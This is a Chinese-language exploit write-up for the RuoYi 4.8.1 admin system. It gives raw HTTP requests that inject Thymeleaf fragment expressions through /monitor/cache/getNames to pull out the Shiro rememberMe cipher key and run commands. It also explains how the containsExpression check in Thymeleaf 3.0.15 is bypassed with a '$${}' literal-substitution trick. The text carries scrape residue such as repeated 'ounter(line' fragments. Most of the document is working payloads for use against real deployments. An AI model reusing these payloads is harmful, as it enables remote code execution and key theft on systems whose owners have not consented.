Ruoyi4.8.1 Freemark模版注入读取Shiro Key
POC
POST /monitor/cache/getNames HTTP/1.1
Host: 10.100.100.82
User-Agent: x-token:Rpw/aOUAkPjGjOnZVgT/Df2qwAJdtedqorYDutN8Svs=
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.100.100.82/system/main
Cookie: JSESSIONID=4e8124e5-56f7-4c03-9bf5-09e0197662dc
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 728
fragment=__|$${#response.addHeader('X-Data',''.class.forName('jdk.nashorn.api.scripting.NashornScriptEngineFactory').newInstance().getScriptEngine().eval("var manager = org.apache.shiro.web.mgt.DefaultWebSecurityManager.class.getMethod('getRememberMeManager').invoke(org.apache.shiro.SecurityUtils.getSecurityManager());var field = java.lang.Class.forName('org.apache.shiro.mgt.AbstractRememberMeManager').getDeclaredField('encryptionCipherKey');field.setAccessible(true);var keyBytes = field.get(manager);java.util.Base64.getEncoder().encodeToString(keyBytes);"))}|__::.x
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1:8090
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:8090/system/user
Accept: application/json, text/javascript, */*; q=0.01
Sec-Fetch-Dest: empty
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: same-origin
Origin: http://127.0.0.1:8090
X-CSRF-Token: spwXjeo7Tgej/0r+0nWGNgByBcEoKG+CGQN5T+sgJXQ=
Cookie: JSESSIONID=2df622fd-4edc-4565-b0a3-8e558adc3a82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Length: 151
fragment=__|$${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Thread.sleep(5000)")}|__::.x新版本4.8.1 RCE(Thymeleaf3.0.15 绕过)
最新版本的ruoyi使用了Thymeleaf3.0.15
尝试之前的payload
ounter(line
__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
已经过不了checkViewNameNotInRequest的检测了
对比3.0.12 和3.0.15 https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff\=unified&w\= 这个版本新增了containsExpression
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
private static boolean containsExpression(final String text) {
final int textLen = text.length();
char c;
boolean expInit = false;
for (int i = 0; i < textLen; i++) {
c = text.charAt(i);
if (!expInit) {
if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
expInit = true;
}
} else {
if (c == '{') {
return true;
} else if (!Character.isWhitespace(c)) {
expInit = false;
}
}
}
return false;
}其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了 那我们其实可用构造出这样的payload逃过检测
ounter(lineounter(line
$任意字符{}
$${}显然$${}是可能被利用的, 但Thymeleaf并不允许执行这样的表达式
字面量替换 bypass
阅读其文档
|n4c1, ${...}|, 其中的表达式${...}可以被执行
因此可以构造:
ounter(line
__|$${#response.addHeader("x-cmd","n4c1")}|__::.x这样的payload实际上等价于
ounter(line
__'$' + ${#response.addHeader("x-cmd","n4c1")}__代码分析



本地复现
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
User-Agent: x-token:Rpw/aOUAkPjGjOnZVgT/Df2qwAJdtedqorYDutN8Svs=
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.100.100.82/system/main
Cookie: JSESSIONID=360149bb-0a84-408b-b774-f3352e14b01a
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 728
fragment=__|$${''.class.forName('jdk.nashorn.api.scripting.NashornScriptEngineFactory').newInstance().getScriptEngine().eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}|__::.x ](http://www.ysfssb.com/usr/uploads/2026/01/1156802365.png)